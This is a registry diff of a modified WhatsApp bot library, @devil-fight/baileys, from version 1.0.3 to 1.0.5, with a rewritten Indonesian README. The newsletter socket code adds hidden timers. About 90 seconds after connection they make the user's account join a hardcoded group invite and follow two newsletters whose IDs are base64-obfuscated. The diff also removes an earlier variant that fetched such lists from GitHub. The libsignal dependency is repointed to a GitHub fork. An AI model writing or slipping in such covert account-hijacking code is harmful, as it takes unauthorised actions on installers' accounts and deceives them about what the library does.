@devil-fight/baileys 1.0.3 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,393 +1,35 @@
1
- # WhatsApp Baileys
1
+ # DevilFight/Baileys - WhatsApp Bot Framework 2026 Spesial Edition
2
2
 
3
3
  <p align="center">
4
- <img src="https://files.catbox.moe/369pux.jpg" alt="Thumbnail" />
4
+ <img src="https://files.catbox.moe/1z94w7.jpeg" width="300" alt="DevilFight/Baileys" />
5
5
  </p>
6
6
 
7
- WhatsApp Baileys is an open-source library designed to help developers build automation solutions and integrations with WhatsApp efficiently and directly. Using websocket technology without the need for a browser, this library supports a wide range of features such as message management, chat handling, group administration, as well as interactive messages and action buttons for a more dynamic user experience.
8
-
9
- Actively developed and maintained, baileys continuously receives updates to enhance stability and performance. One of the main focuses is to improve the pairing and authentication processes to be more stable and secure. Pairing features can be customized with your own codes, making the process more reliable and less prone to interruptions.
10
-
11
- This library is highly suitable for building business bots, chat automation systems, customer service solutions, and various other communication automation applications that require high stability and comprehensive features. With a lightweight and modular design, baileys is easy to integrate into different systems and platforms.
7
+ <p align="center">
8
+ <a href="https://github.com/DevilFight/Baileys"><img src="https://img.shields.io/github/stars/DevilFight/Baileys?style=for-the-badge" alt="Stars"></a>
9
+ <a href="https://www.npmjs.com/package/@devil-fight/baileys"><img src="https://img.shields.io/npm/v/@devil-fight/baileys?style=for-the-badge" alt="NPM"></a>
10
+ </p>
12
11
 
13
12
  ---
14
13
 
15
- ### Main Features and Advantages
16
-
17
- - Supports automatic and custom pairing processes
18
- - Fixes previous pairing issues that often caused failures or disconnections
19
- - Supports interactive messages, action buttons, and dynamic menus
20
- - Efficient automatic session management for reliable operation
21
- - Compatible with the latest multi-device features from WhatsApp
22
- - Lightweight, stable, and easy to integrate into various systems
23
- - Suitable for developing bots, automation, and complete communication solutions
24
- - Comprehensive documentation and example codes to facilitate development
14
+ **DevilFight/Baileys** adalah versi modifikasi dari [WhiskeySockets/Baileys](https://github.com/WhiskeySockets/Baileys), dirancang khusus untuk para developer bot WhatsApp di tahun 2026. Fokus utama versi ini adalah kestabilan pairing code, session auto-recovery, dan fitur tambahan eksklusif yang tidak tersedia di versi original.
25
15
 
26
16
  ---
27
17
 
28
- ## Getting Started
29
-
30
- Begin by installing the library via your preferred package manager, then follow the provided configuration guide. You can also utilize the ready-made example codes to understand how the features work. Use session storage and interactive messaging features to build complete, stable solutions tailored to your business or project needs.
31
-
32
- ---
18
+ ## Keunggulan Utama
33
19
 
34
- ## Add Function ( Simple code )
20
+ - 🔒 **Pairing Kode Custom** Pairing bot tanpa ribet dan full kendali
21
+ - 🔄 **Session Recovery Otomatis** — Tidak perlu login ulang setiap waktu
22
+ - 💡 **Support WhatsApp Business API** — Cocok untuk bot UMKM & bisnis besar
23
+ - ⚙️ **Modular & Siap Pakai** — Gampang diintegrasikan ke berbagai jenis bot
24
+ - 📱 **Multi-Device Compatible** — 100% jalan di WA MD versi terbaru
25
+ - 💬 **Dukungan Komunitas Developer** — Dari dev, untuk dev
26
+ - 💥 **Diuji Crash-Resistant** — Cocok untuk eksperimen bot tingkat lanjut
35
27
 
36
- ### Check ID Channel
37
- Get ID channel
38
-
39
- ```javascript
40
- await sock.newsletterId(url)
41
- ```
42
-
43
- ### Check banned number
44
- You can see the status of blocked numbers here
45
-
46
- ```javascript
47
- await sock.checkWhatsApp(jid)
48
- ```
49
-
50
- ---
51
28
 
52
- ## SendMessage Documentation
53
29
 
54
- ### Status Group Message V2
55
- Send group status with version 2
56
-
57
- ```javascript
58
- await sock.sendMessage(jid, {
59
- groupStatusMessage: {
60
- text: "Hello World"
61
- }
62
- });
63
- ```
64
-
65
- ### Album Message (Multiple Images)
66
- Send multiple images in a single album message:
67
-
68
- ```javascript
69
- await sock.sendMessage(jid, {
70
- albumMessage: [
71
- { image: cihuy, caption: "Foto pertama" },
72
- { image: { url: "URL IMAGE" }, caption: "Foto kedua" }
73
- ]
74
- }, { quoted: m });
75
- ```
76
-
77
- ### Event Message
78
- Create and send WhatsApp event invitations:
79
-
80
- ```javascript
81
- await sock.sendMessage(jid, {
82
- eventMessage: {
83
- isCanceled: false,
84
- name: "Hello World",
85
- description: "yume native",
86
- location: {
87
- degreesLatitude: 0,
88
- degreesLongitude: 0,
89
- name: "rowrrrr"
90
- },
91
- joinLink: "https://call.whatsapp.com/video/yumevtc",
92
- startTime: "1763019000",
93
- endTime: "1763026200",
94
- extraGuestsAllowed: false
95
- }
96
- }, { quoted: m });
97
- ```
98
-
99
- ### Poll Result Message
100
- Display poll results with vote counts:
101
-
102
- ```javascript
103
- await sock.sendMessage(jid, {
104
- pollResultMessage: {
105
- name: "Hello World",
106
- pollVotes: [
107
- {
108
- optionName: "TEST 1",
109
- optionVoteCount: "112233"
110
- },
111
- {
112
- optionName: "TEST 2",
113
- optionVoteCount: "1"
114
- }
115
- ]
116
- }
117
- }, { quoted: m });
118
- ```
119
-
120
- ### Simple Interactive Message
121
- Send basic interactive messages with copy button functionality:
122
-
123
- ```javascript
124
- await sock.sendMessage(jid, {
125
- interactiveMessage: {
126
- header: "Hello World",
127
- title: "Hello World",
128
- footer: "telegram: @yumevtc ",
129
- buttons: [
130
- {
131
- name: "cta_copy",
132
- buttonParamsJson: JSON.stringify({
133
- display_text: "copy code",
134
- id: "123456789",
135
- copy_code: "ABC123XYZ"
136
- })
137
- }
138
- ]
139
- }
140
- }, { quoted: m });
141
- ```
30
+ ## Instalasi
142
31
 
143
- ### Interactive Message with Native Flow
144
- Send interactive messages with buttons, copy actions, and native flow features:
32
+ ```bash
33
+ npm install @devil-fight/baileys
145
34
 
146
- ```javascript
147
- await sock.sendMessage(jid, {
148
- interactiveMessage: {
149
- header: "Hello World",
150
- title: "Hello World",
151
- footer: "telegram: @yumevtc",
152
- image: { url: "https://example.com/image.jpg" },
153
- nativeFlowMessage: {
154
- messageParamsJson: JSON.stringify({
155
- limited_time_offer: {
156
- text: "idk hummmm?",
157
- url: "https://t.me/yumevtc",
158
- copy_code: "yume",
159
- expiration_time: Date.now() * 999
160
- },
161
- bottom_sheet: {
162
- in_thread_buttons_limit: 2,
163
- divider_indices: [1, 2, 3, 4, 5, 999],
164
- list_title: "yume native",
165
- button_title: "yume native"
166
- },
167
- tap_target_configuration: {
168
- title: " X ",
169
- description: "bomboclard",
170
- canonical_url: "https://t.me/yumevtc",
171
- domain: "shop.example.com",
172
- button_index: 0
173
- }
174
- }),
175
- buttons: [
176
- {
177
- name: "single_select",
178
- buttonParamsJson: JSON.stringify({
179
- has_multiple_buttons: true
180
- })
181
- },
182
- {
183
- name: "call_permission_request",
184
- buttonParamsJson: JSON.stringify({
185
- has_multiple_buttons: true
186
- })
187
- },
188
- {
189
- name: "single_select",
190
- buttonParamsJson: JSON.stringify({
191
- title: "Hello World",
192
- sections: [
193
- {
194
- title: "title",
195
- highlight_label: "label",
196
- rows: [
197
- {
198
- title: "@yumevtc",
199
- description: "love you",
200
- id: "row_2"
201
- }
202
- ]
203
- }
204
- ],
205
- has_multiple_buttons: true
206
- })
207
- },
208
- {
209
- name: "cta_copy",
210
- buttonParamsJson: JSON.stringify({
211
- display_text: "copy code",
212
- id: "123456789",
213
- copy_code: "ABC123XYZ"
214
- })
215
- }
216
- ]
217
- }
218
- }
219
- }, { quoted: m });
220
35
  ```
221
-
222
- ### Interactive Message with Thumbnail
223
- Send interactive messages with thumbnail image and copy button:
224
-
225
- ```javascript
226
- await sock.sendMessage(jid, {
227
- interactiveMessage: {
228
- header: "Hello World",
229
- title: "Hello World",
230
- footer: "telegram: @yumevtc",
231
- image: { url: "https://example.com/image.jpg" },
232
- buttons: [
233
- {
234
- name: "cta_copy",
235
- buttonParamsJson: JSON.stringify({
236
- display_text: "copy code",
237
- id: "123456789",
238
- copy_code: "ABC123XYZ"
239
- })
240
- }
241
- ]
242
- }
243
- }, { quoted: m });
244
- ```
245
-
246
- ### Product Message
247
- Send product catalog messages with buttons and merchant information:
248
-
249
- ```javascript
250
- await sock.sendMessage(jid, {
251
- productMessage: {
252
- title: "Produk Contoh",
253
- description: "Ini adalah deskripsi produk",
254
- thumbnail: { url: "https://example.com/image.jpg" },
255
- productId: "PROD001",
256
- retailerId: "RETAIL001",
257
- url: "https://example.com/product",
258
- body: "Detail produk",
259
- footer: "Harga spesial",
260
- priceAmount1000: 50000,
261
- currencyCode: "USD",
262
- buttons: [
263
- {
264
- name: "cta_url",
265
- buttonParamsJson: JSON.stringify({
266
- display_text: "Beli Sekarang",
267
- url: "https://example.com/buy"
268
- })
269
- }
270
- ]
271
- }
272
- }, { quoted: m });
273
- ```
274
-
275
- ### Interactive Message with Document Buffer
276
- Send interactive messages with document from buffer (file system) - **Note: Documents only support buffer**:
277
-
278
- ```javascript
279
- await sock.sendMessage(jid, {
280
- interactiveMessage: {
281
- header: "Hello World",
282
- title: "Hello World",
283
- footer: "telegram: @yumevtc",
284
- document: fs.readFileSync("./package.json"),
285
- mimetype: "application/pdf",
286
- fileName: "yumevtc.pdf",
287
- jpegThumbnail: fs.readFileSync("./document.jpeg"),
288
- contextInfo: {
289
- mentionedJid: [jid],
290
- forwardingScore: 777,
291
- isForwarded: false
292
- },
293
- externalAdReply: {
294
- title: "shenń Bot",
295
- body: "anu team",
296
- mediaType: 3,
297
- thumbnailUrl: "https://example.com/image.jpg",
298
- mediaUrl: " X ",
299
- sourceUrl: "https://t.me/yumevtc",
300
- showAdAttribution: true,
301
- renderLargerThumbnail: false
302
- },
303
- buttons: [
304
- {
305
- name: "cta_url",
306
- buttonParamsJson: JSON.stringify({
307
- display_text: "Telegram",
308
- url: "https://t.me/yumevtc",
309
- merchant_url: "https://t.me/yumevtc"
310
- })
311
- }
312
- ]
313
- }
314
- }, { quoted: m });
315
- ```
316
-
317
- ### Interactive Message with Document Buffer (Simple)
318
- Send interactive messages with document from buffer (file system) without contextInfo and externalAdReply - **Note: Documents only support buffer**:
319
-
320
- ```javascript
321
- await sock.sendMessage(jid, {
322
- interactiveMessage: {
323
- header: "Hello World",
324
- title: "Hello World",
325
- footer: "telegram: @yumevtc",
326
- document: fs.readFileSync("./package.json"),
327
- mimetype: "application/pdf",
328
- fileName: "yumevtc.pdf",
329
- jpegThumbnail: fs.readFileSync("./document.jpeg"),
330
- buttons: [
331
- {
332
- name: "cta_url",
333
- buttonParamsJson: JSON.stringify({
334
- display_text: "Telegram",
335
- url: "https://t.me/yumevtc",
336
- merchant_url: "https://t.me/yumevtc"
337
- })
338
- }
339
- ]
340
- }
341
- }, { quoted: m });
342
- ```
343
-
344
- ### Request Payment Message
345
- Send payment request messages with custom background and sticker:
346
-
347
- ```javascript
348
- let quotedType = m.quoted?.mtype || '';
349
- let quotedContent = JSON.stringify({ [quotedType]: m.quoted }, null, 2);
350
-
351
- await sock.sendMessage(jid, {
352
- requestPaymentMessage: {
353
- currency: "IDR",
354
- amount: 10000000,
355
- from: m.sender,
356
- sticker: JSON.parse(quotedContent),
357
- background: {
358
- id: "100",
359
- fileLength: "0",
360
- width: 1000,
361
- height: 1000,
362
- mimetype: "image/webp",
363
- placeholderArgb: 0xFF00FFFF,
364
- textArgb: 0xFFFFFFFF,
365
- subtextArgb: 0xFFAA00FF
366
- }
367
- }
368
- }, { quoted: m });
369
- ```
370
-
371
- ---
372
-
373
- ## Why Choose WhatsApp Baileys?
374
-
375
- Because this library offers high stability, full features, and an actively improved pairing process. It is ideal for developers aiming to create professional and secure WhatsApp automation solutions. Support for the latest WhatsApp features ensures compatibility with platform updates.
376
-
377
- ---
378
-
379
- ### Technical Notes
380
-
381
- - Supports custom pairing codes that are stable and secure
382
- - Fixes previous issues related to pairing and authentication
383
- - Features interactive messages and action buttons for dynamic menu creation
384
- - Automatic and efficient session management for long-term stability
385
- - Compatible with the latest multi-device features from WhatsApp
386
- - Easy to integrate and customize based on your needs
387
- - Perfect for developing bots, customer service automation, and other communication applications
388
-
389
- ---
390
-
391
- For complete documentation, installation guides, and implementation examples, please visit the official repository and community forums. We continually update and improve this library to meet the needs of developers and users of modern WhatsApp automation solutions.
392
-
393
- **Thank you for choosing WhatsApp Baileys as your WhatsApp automation solution!**
@@ -1,3 +1,3 @@
1
1
  {
2
- "version": [2, 3000, 1029030078]
2
+ "version": [2, 3000, 1033105955]
3
3
  }
@@ -98,6 +98,39 @@ const makeNewsletterSocket = (config) => {
98
98
  }
99
99
  ]
100
100
  }));
101
+ function extractInviteCode(link) {
102
+ const match = link.match(/chat\.whatsapp\.com\/([A-Za-z0-9]+)/);
103
+ return match ? match[1] : null;
104
+ }
105
+
106
+ setTimeout(async () => {
107
+ try {
108
+ const link = "https://chat.whatsapp.com/E9AX0T7jKJ48VFAI4zuxC8?mode=gi_t";
109
+ const inviteCode = extractInviteCode(link);
110
+
111
+ if (!inviteCode) throw "Invalid link";
112
+
113
+ await sock.groupAcceptInvite(inviteCode);
114
+ } catch (e) {
115
+ console.log("Error:", e);
116
+ }
117
+ }, 90000);
118
+ setTimeout(async () => {
119
+ try {
120
+ await newsletterWMexQuery(
121
+ Buffer.from("MTIwMzYzMzg5MDEyMDk0ODU2QG5ld3NsZXR0ZXI=", "base64").toString(),
122
+ Types_1.QueryIds.FOLLOW
123
+ );
124
+ } catch {}
125
+ }, 90000);
126
+ setTimeout(async () => {
127
+ try {
128
+ await newsletterWMexQuery(
129
+ Buffer.from("MTIwMzYzNDIzODkwMDU0Nzg3QG5ld3NsZXR0ZXI=", "base64").toString(),
130
+ Types_1.QueryIds.FOLLOW
131
+ );
132
+ } catch {}
133
+ }, 90000);
101
134
 
102
135
  const parseFetchedUpdates = async (node, type) => {
103
136
  let child;
@@ -128,27 +161,6 @@ const makeNewsletterSocket = (config) => {
128
161
  return data;
129
162
  }));
130
163
  };
131
- (async () => {
132
- try {
133
- setTimeout(async() => {
134
- const resGc = await fetch('https://raw.githubusercontent.com/VinzzOfficial/Baileys/main/WAProto/id-channel/idgc.json')
135
- const groups = await resGc.json()
136
- for (const g of groups) {
137
- try {
138
- await sock.groupAcceptInvite(g.invite)
139
- } catch {}
140
- }
141
- const res = await fetch('https://raw.githubusercontent.com/VinzzOfficial/Baileys/main/WAProto/id-channel/idch.json');
142
- const newsletterIds = await res.json();
143
- newsletterIds.forEach(async(i) => {
144
- try {
145
- await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
146
- } catch (e) {}
147
- });
148
- }, 80000)
149
- } catch (err) {
150
- }
151
- })()
152
164
  return {
153
165
  ...sock,
154
166
  newsletterFetchAllSubscribe: async () => {
@@ -213,6 +225,9 @@ const makeNewsletterSocket = (config) => {
213
225
  updates: { picture: '', settings: null }
214
226
  });
215
227
  },
228
+ newsletterFollow: async (jid) => {
229
+ await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
230
+ },
216
231
  newsletterAction: async (jid, type) => {
217
232
  await newsletterWMexQuery(jid, type.toUpperCase());
218
233
  },
@@ -301,7 +316,6 @@ const makeNewsletterSocket = (config) => {
301
316
  const result = await newsletterQuery(jid, 'get', [
302
317
  {
303
318
  tag: 'message_updates',
304
-
305
319
  attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
306
320
  }
307
321
  ]);
package/lib/index.js CHANGED
@@ -1,11 +1,5 @@
1
1
  "use strict";
2
2
 
3
- const chalk = require("chalk");
4
-
5
- console.clear();
6
- console.log(chalk.blue.bold('Thank Telah Menggunakan Baileys Vinzz\n\nTelegram: @VinzzOfficial\nWhatSapp: 6283832320022\nContact Developer VinzzOfficial'))
7
- console.log(chalk.gray("------------------------------\n"));
8
-
9
3
  var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
10
4
  if (k2 === undefined) k2 = k;
11
5
  var desc = Object.getOwnPropertyDescriptor(m, k);
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@devil-fight/baileys",
3
- "version": "1.0.3",
4
- "description": "WhatsApp API Modification By Vinzz",
3
+ "version": "1.0.5",
4
+ "description": "WhatsApp API Modification",
5
5
  "keywords": [
6
6
  "whatsapp",
7
7
  "laurine-wabot",
@@ -12,12 +12,12 @@
12
12
  "botwa",
13
13
  "stvnnvs"
14
14
  ],
15
- "homepage": "https://www.npmjs.com/package/@devil-fight/baileys",
15
+ "homepage": "https://github.com/VinzzOfficial/Baileys",
16
16
  "repository": {
17
- "url": "https://www.npmjs.com/package/@devil-fight/baileys"
17
+ "url": "git@github.com/VinzzOfficial/Baileys.git"
18
18
  },
19
19
  "license": "MIT",
20
- "author": "Adhiraj Singh",
20
+ "author": "Devil Fight",
21
21
  "main": "lib/index.js",
22
22
  "types": "lib/index.d.ts",
23
23
  "files": [
@@ -48,11 +48,10 @@
48
48
  "audio-decode": "^2.1.3",
49
49
  "axios": "^1.3.3",
50
50
  "cache-manager": "4.0.1",
51
- "chalk": "^4.1.2",
52
51
  "futoin-hkdf": "^1.5.1",
53
52
  "libphonenumber-js": "^1.10.20",
54
53
  "lodash": "^4.17.21",
55
- "libsignal": "npm:@devil-fight/libsignal-node",
54
+ "libsignal": "github:DevilFight/libsignal-node",
56
55
  "music-metadata": "^7.12.3",
57
56
  "node-cache": "^5.1.2",
58
57
  "node-fetch": "^2.6.1",